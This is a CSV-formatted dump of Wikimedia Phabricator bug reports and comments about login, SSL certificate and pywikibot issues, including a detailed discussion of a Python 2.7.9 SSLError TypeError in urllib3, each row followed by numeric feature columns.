+501128,download.wiki[mp]edia.org are using an invalid certificate,"It was never done because there were concerns by @apergos about putting large (huge, GBs) files behind varnish.",,,1438610745,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-77ccuqpf75t5iindumtx,task_subcomment,,True,c3,3,True,,,4,True,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,0,0
+500163,download.wiki[mp]edia.org are using an invalid certificate,"dumps and download both sound like they should be moved to misc-web, IMHO.",,,1438351088,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-77ccuqpf75t5iindumtx,task_subcomment,,True,c3,3,True,,,4,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+106606,Link account after login with Google,"After a user logged in with a non-linked Google account, it should be possible to link this account with an already existing wiki user, instead of just the possibility to create a new wiki user.
+
+Background: It is, so far, difficult to explain/understand, why a user needs to be logged in to connect the user account with a Google account. It's more intuitive to just login and link the google account with a (new or already registered) wiki user.
+
+Possible workflow:
+- user go to Special:UserLogin
+- user clicks Login eith Google
+- the, that this google account isn't linked with any wiki user so far, appears
+- user selects ""I have a wiki account already"" and clicks ""Next""
+- user will be redirected to Special:UserLogin with the warning message, that he has to login to merge the user
+- after login the user get's the success message, that the google and wiki account is linked together
+
+Maybe there is an intermediate step before the success message, asking if you really want to link the accounts. Or a good and short explanation how to unlink the accounts.",Needs Triage,90.0,1437599409,1439041217.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-TASK-snmbwgyli2n55stob7ki,task_description,resolved,True,c3,3,True,True,True,2,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,0,0,1,1,0,1,0,1,1,1,0,1,1,0,0,0,1,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+504670,Link account after login with Google,"Change 226577 merged by jenkins-bot:
+Enable to link a new Google account with an existing wiki account
+
+[[https://gerrit.wikimedia.org/r/226577]]",,,1439041191,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-snmbwgyli2n55stob7ki,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+495807,Link account after login with Google,"Change 226577 had a related patch set uploaded (by Florianschmidtwelzow):
+Enable to link a new Google account with an existing wiki account
+
+[[https://gerrit.wikimedia.org/r/226577]]
+",,,1437673903,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-snmbwgyli2n55stob7ki,task_subcomment,,True,c3,3,False,,,3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+106352,Regression: Project logo missing from login screen,"Previously on the login page we would show a project identifier to users to indicate that they were not being phished and were logged in to a mediawiki project.
+
+
+This is now missing in stable (enwiki, BC, localhost  master) and the culprit seems to be  I1b09e7ba80d18dc8c19b2aa475c4d269dffc295e
+Before:
+{F201710}
+After:
+{F201709}",Needs Triage,90.0,1437425792,1437430249.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-TASK-iahms4mcit3qnvupzgc4,task_description,resolved,True,c3,3,True,False,True,2,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+494075,Regression: Project logo missing from login screen,"Change 226026 merged by jenkins-bot:
+Always show a logo on Login/Create page
+
+[[https://gerrit.wikimedia.org/r/226026]]",,,1437429567,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iahms4mcit3qnvupzgc4,task_subcomment,,True,c3,3,False,,,2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+494071,Regression: Project logo missing from login screen,"Change 226026 had a related patch set uploaded (by Florianschmidtwelzow):
+Always show a logo on Login/Create page
+
+[[https://gerrit.wikimedia.org/r/226026]]
+",,,1437428332,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iahms4mcit3qnvupzgc4,task_subcomment,,True,c3,3,False,,,2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+494067,Regression: Project logo missing from login screen,"Argh, this is a confusing implementation, fixing this bug now.",,,1437428036,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-iahms4mcit3qnvupzgc4,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0
+106035,Central login at betawiki doesn't work,"If I login at Beta-Cluster, after a short time I get redirected to [[  https://login.wikimedia.beta.wmflabs.org/wiki/Special:CentralLogin/start?token= | https://login.wikimedia.beta.wmflabs.org/wiki/Special:CentralLogin/start?token=<A Token> ]]. At this point, I get a connection error, I think because https, which doens't work at Beta. No matter how I try, I can't go to the http version of the page, why I have to login at every single Beta-Wiki seperately, which is really annoying.
+
+If I log out, I haven't got any problems like this.",Needs Triage,90.0,1437059483,1437066310.0,PHID-USER-4z6eerx3m7iocsrcpku5,False,PHID-USER-4z6eerx3m7iocsrcpku5,False,PHID-TASK-muywufhcg2mbbhyyx2mn,task_description,resolved,True,c3,3,True,True,True,2,True,1,0,0,0,1,1,1,1,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+492484,Central login at betawiki doesn't work,"Thank you, after deleting all cookies of wmflabs it works.",,,1437066310,,PHID-USER-4z6eerx3m7iocsrcpku5,False,,,PHID-TASK-muywufhcg2mbbhyyx2mn,task_subcomment,,True,c3,3,True,,,2,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+492464,Central login at betawiki doesn't work,It works for me. Have you tried clearing your browser's cookies? Sometimes a forceHTTPS cookie gets set that causes issues like this.,,,1437065121,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-muywufhcg2mbbhyyx2mn,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,1,1,1,0,0,0
+492385,Central login at betawiki doesn't work,"If this can help, I use Firefox 39 at Windows 8.1.",,,1437059720,,PHID-USER-4z6eerx3m7iocsrcpku5,False,,,PHID-TASK-muywufhcg2mbbhyyx2mn,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+105821,`python pwb.py login` fails to generate `user-config.py`,"`python pwb.py login` fails to generate `user-config.py` when it has not already been created as the source below indicates it should.
+https://www.mediawiki.org/wiki/Manual:Pywikibot/Basic_use
+Instead it gives the following:
+   $ python pwb.py login
+   NOTE: 'user-config.py' was not found!
+   Please follow the prompts to create it:
+   Unknown arguments: login",Needs Triage,90.0,1436900474,1436982791.0,PHID-USER-iy46yyjkoqm6q63ztld6,False,PHID-USER-7fndkemmavweiht5ybfd,False,PHID-TASK-2eehryo3j6a3emp6nf57,task_description,duplicate,True,c3,3,False,False,True,1,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,0,0,0
+491888,`python pwb.py login` fails to generate `user-config.py`,">>! In T105821#1454045, @XZise wrote:
+> Unfortunately it's a version from 10 days ago. @Ladsgroup might need to check it out why it's not generating new nightlies.
+
++1 one month, it's July already. Anyway I'll close it as a duplicate of T101838 as it has been fixed already. The only issue that the nightlies don't get generated (see also T94184).",,,1436982872,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-2eehryo3j6a3emp6nf57,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1
+491885,`python pwb.py login` fails to generate `user-config.py`,">>! In T105821#1454045, @XZise wrote:
+> Unfortunately it's a version from 10 days ago. @Ladsgroup might need to check it out why it's not generating new nightlies.
+
++1 one month, it's July already. Anyway I'll close it as a duplicate of T101838 as it has been fixed already. The only issue that the nightlies don't get generated.",,,1436982774,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-2eehryo3j6a3emp6nf57,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1
+491823,`python pwb.py login` fails to generate `user-config.py`,"Okay. I've already got it functional, I just wanted to confirm that it was fixed. Thanks!",,,1436977570,,PHID-USER-iy46yyjkoqm6q63ztld6,False,,,PHID-TASK-2eehryo3j6a3emp6nf57,task_subcomment,,True,c3,3,False,,,1,True,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+491815,`python pwb.py login` fails to generate `user-config.py`,It is supposed to be recent. Alternatively use got or initialise it manually and do `python generate_user_files.py`.,,,1436977216,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-2eehryo3j6a3emp6nf57,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+491754,`python pwb.py login` fails to generate `user-config.py`,Can you point me towards an alternative location to get a more recent version?,,,1436973171,,PHID-USER-iy46yyjkoqm6q63ztld6,False,,,PHID-TASK-2eehryo3j6a3emp6nf57,task_subcomment,,True,c3,3,False,,,1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,1,0,1,0,0
+491884,`python pwb.py login` fails to generate `user-config.py`,Unfortunately it's a version from 10 days ago. @Ladsgroup might need to check it out why it's not generating new nightlies.,,,1436982442,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-2eehryo3j6a3emp6nf57,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0
+491737,`python pwb.py login` fails to generate `user-config.py`,Unfortunately it's a version from 10 days ago. @Amir1 might need to check it out why it's not generating new nightlies.,,,1436972415,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-2eehryo3j6a3emp6nf57,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0
+491696,`python pwb.py login` fails to generate `user-config.py`,"I'm using the core nightly build here:
+http://tools.wmflabs.org/pywikibot/
+{F192550}
+and I am still hitting the same problem. Is this not the most recent version?",,,1436969280,,PHID-USER-iy46yyjkoqm6q63ztld6,False,,,PHID-TASK-2eehryo3j6a3emp6nf57,task_subcomment,,True,c3,3,False,,,1,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,1,0,0,0,1,0,1,0
+491529,`python pwb.py login` fails to generate `user-config.py`,This looks like T101838 and should be solved already. Could you test a recent version?,,,1436923550,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-2eehryo3j6a3emp6nf57,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0
+105767,TypeError with ndg-httpsclient on Python2.7,"Installing ndg-httpsclient on Python2.7 can cause a TypeError
+
+https://travis-ci.org/VcamX/pywikibot-core/jobs/70758871
+```
+======================================================================
+ERROR: test_https_cert_error (tests.http_tests.HttpsCertificateTestCase)
+Test http.request fails on invalid omegawiki SSL certificate.
+----------------------------------------------------------------------
+Traceback (most recent call last):
+  File ""/home/travis/build/VcamX/pywikibot-core/tests/http_tests.py"", line 92, in test_https_cert_error
+    uri='https://www.omegawiki.org/')
+  File ""/opt/python/2.7.9/lib/python2.7/unittest/case.py"", line 473, in assertRaises
+    callableObj(*args, **kwargs)
+  File ""/home/travis/build/VcamX/pywikibot-core/pywikibot/tools/__init__.py"", line 1227, in wrapper
+    return obj(*__args, **__kw)
+  File ""/home/travis/build/VcamX/pywikibot-core/pywikibot/comms/http.py"", line 230, in request
+    r = fetch(uri, method, body, headers, **kwargs)
+  File ""/home/travis/build/VcamX/pywikibot-core/pywikibot/comms/http.py"", line 363, in fetch
+    error_handling_callback(request)
+  File ""/home/travis/build/VcamX/pywikibot-core/pywikibot/comms/http.py"", line 280, in error_handling_callback
+    raise request.data
+TypeError: __str__ returned non-string (type Error)
+```",Needs Triage,90.0,1436839482,1462348996.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-gbs772f5nbiji6ehwpea,False,PHID-TASK-kmrqiv5ozhlhwutlyukf,task_description,resolved,True,c3,3,True,False,False,1,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,1,1
+656244,TypeError with ndg-httpsclient on Python2.7,"Closing this as requests has released 2.8.0 and even moved on to 2.10
+
+Note: Someone had found that requests 2.9 still had an issue and that was fixed in https://github.com/shazow/urllib3/pull/792 finally. That commit landed in requests 2.10 which was released a few days ago.
+
+Reopen if there's still an issue with it.",,,1462348996,,PHID-USER-gbs772f5nbiji6ehwpea,False,,,PHID-TASK-kmrqiv5ozhlhwutlyukf,task_subcomment,,True,c3,3,True,,,43,True,1,1,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,1,1,0,1,0,0,0
+502629,TypeError with ndg-httpsclient on Python2.7,"The problem appears to have been fixed in https://github.com/shazow/urllib3/releases/tag/1.11
+
+We're still waiting for requests 2.8.0 to be released with the urllib3 fix: https://github.com/kennethreitz/requests/pull/2678",,,1438792230,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-kmrqiv5ozhlhwutlyukf,task_subcomment,,True,c3,3,True,,,4,True,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+491851,TypeError with ndg-httpsclient on Python2.7,"I've done a build of requests with 'security' enabled, and their tests dont fail, so I guess they do not have a test which covers this scenario.
+https://travis-ci.org/jayvdb/requests/builds/71113089",,,1436979385,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-kmrqiv5ozhlhwutlyukf,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,0
+491726,TypeError with ndg-httpsclient on Python2.7,@jayvdb Thanks for your explain! I was stuck in the C implementation of SSLError. It helps me a lot! :D,,,1436971671,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-kmrqiv5ozhlhwutlyukf,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,1,0,0,0,0,0,1,1,1,0,0,1,1,0,0,1,1,0,0,0,0
+491707,TypeError with ndg-httpsclient on Python2.7,"Thanks.  That is what I expected.
+
+Prior to py2.7.9 's [[https://hg.python.org/cpython/rev/92163|backport of Python 3 ssl]], aka PEP 466 aka [[http://bugs.python.org/issue21308|issue 21308]] , `ssl.SSLError` was a normal simple subclass of `socket.error` created using PyErr_NewException.  socket.error doesnt have a `__str__` handler, and is a subclass of `IOError`, which is an `EnvironmentError`.
+
+https://hg.python.org/cpython/rev/92163#l23.3608
+
+That change introduced a custom `__str__` handler for SSLError.
+
+https://hg.python.org/cpython/rev/92163#l23.3617
+https://docs.python.org/2/c-api/typeobj.html#c.PyTypeObject.tp_str
+
+```
+static PyObject *
+SSLError_str(PyEnvironmentErrorObject *self)
+{
+    if (self->strerror != NULL) {
+        Py_INCREF(self->strerror);
+        return self->strerror;
+    }
+    else
+        return PyObject_Str(self->args);
+}
+```
+
+The above simpler this returns strerror, without creating a copy and ignores the other args.
+So in prior versions, str(SSLError) would be handled by a generic and 'safe' implementation which will construct the string representation using the args, but then in py279 the above assumes that self.strerror is a string.
+
+SSLError is not at fault; the strerror passed to the SSLError constructor is expected to be a string.
+https://docs.python.org/2/library/exceptions.html#exceptions.EnvironmentError
+https://docs.python.org/3/library/exceptions.html#OSError
+
+So, I believe this is a misuse of SSLError, and `raise ssl.SSLError('bad handshake', str(e))` is a good solution.  Does that change pass the urllib3 test suite?
+
+It appears that this has been fixed in urllib3
+https://github.com/shazow/urllib3/commit/e2de9f67f276f5a9c2ca3689ce50eac2c7361f4f
+
+but that change has not been syncronised into `requests`.",,,1436970341,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-kmrqiv5ozhlhwutlyukf,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,1,1,1,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+491684,TypeError with ndg-httpsclient on Python2.7,"@jayvdb, 2.7.8 works well, 2.7.10 has the same problem.",,,1436966855,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-kmrqiv5ozhlhwutlyukf,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0
+491623,TypeError with ndg-httpsclient on Python2.7,"Can you re-try that in 2.7.8?  It might be specific to 2.7.9+, which backported the Python3 ssl module.",,,1436957630,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-kmrqiv5ozhlhwutlyukf,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+491616,TypeError with ndg-httpsclient on Python2.7,"I think it's a platform-specific bug for ssl.SSLError, or a misuse of ssl.SSLError.
+I executed the following commands on different platforms:
+    >>> import ssl
+    >>> class AError(Exception): pass
+    >>> str(ssl.SSLError('a', AError('b')))
+and got different results:
+
+2.6.9:
+    >>> str(ssl.SSLError('a', AError('b')))
+    '[Errno a] b'
+2.7.9:
+    >>> str(ssl.SSLError('a', AError('b')))
+    Traceback (most recent call last):
+      File ""<stdin>"", line 1, in <module>
+    TypeError: __str__ returned non-string (type AError)
+3.4.3:
+    >>> str(ssl.SSLError('a', AError('b')))
+    ""('a', AError('b',))""
+
+On 2.7.9, it seems that if the second element of args of ssl.SSLError is not a string (str or unicode), TypeError is always raised.
+And urllib3 raise a ssl.SSLError with OpenSSL.SSL.Error as its second element of args. https://github.com/kennethreitz/requests/blob/master/requests/packages/urllib3/contrib/pyopenssl.py#L290
+
+My patch is replace `raise ssl.SSLError('bad handshake', e)` with `raise ssl.SSLError('bad handshake', str(e))`",,,1436956269,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-kmrqiv5ozhlhwutlyukf,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1
+491542,TypeError with ndg-httpsclient on Python2.7,">>! In T105767#1451342, @VcamX wrote:
+> Related issue: https://github.com/shazow/urllib3/issues/556
+
+Yes, that looks like it.  Honestly it doesnt appear to difficult to solve in urllib3.  Maybe clone the urllib3 repo and attempt to fix it?  If you find a solution, we can provide a first code review, then you can submit a pull request to urllib3.",,,1436929707,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-kmrqiv5ozhlhwutlyukf,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,1,1,1,0,0,0,0,1
+491236,TypeError with ndg-httpsclient on Python2.7,Related issue: https://github.com/shazow/urllib3/issues/556,,,1436861584,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-kmrqiv5ozhlhwutlyukf,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+105160,Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),"**description**: 
+**workaround**: 
+--------------------------
+
+<table><tr><th>Exception:</th><td>`ApiErrorException`</td></tr>
+<tr><th>Message:</th><td>`API returned the following error: 'The login module requires a POST request'`</td></tr>
+<tr><th>Call stack:</th><td><pre>   at WikiFunctions.API.ApiEdit.CheckForErrors(String xml, String action)
+   at WikiFunctions.API.ApiEdit.Login(String username, String password, String domain)
+   at WikiFunctions.Profiles.AWBProfilesForm.PerformLogin(String username, String password)</pre></td></tr>
+</table>
+**OS**: Microsoft Windows NT 6.1.7601 Service Pack 1
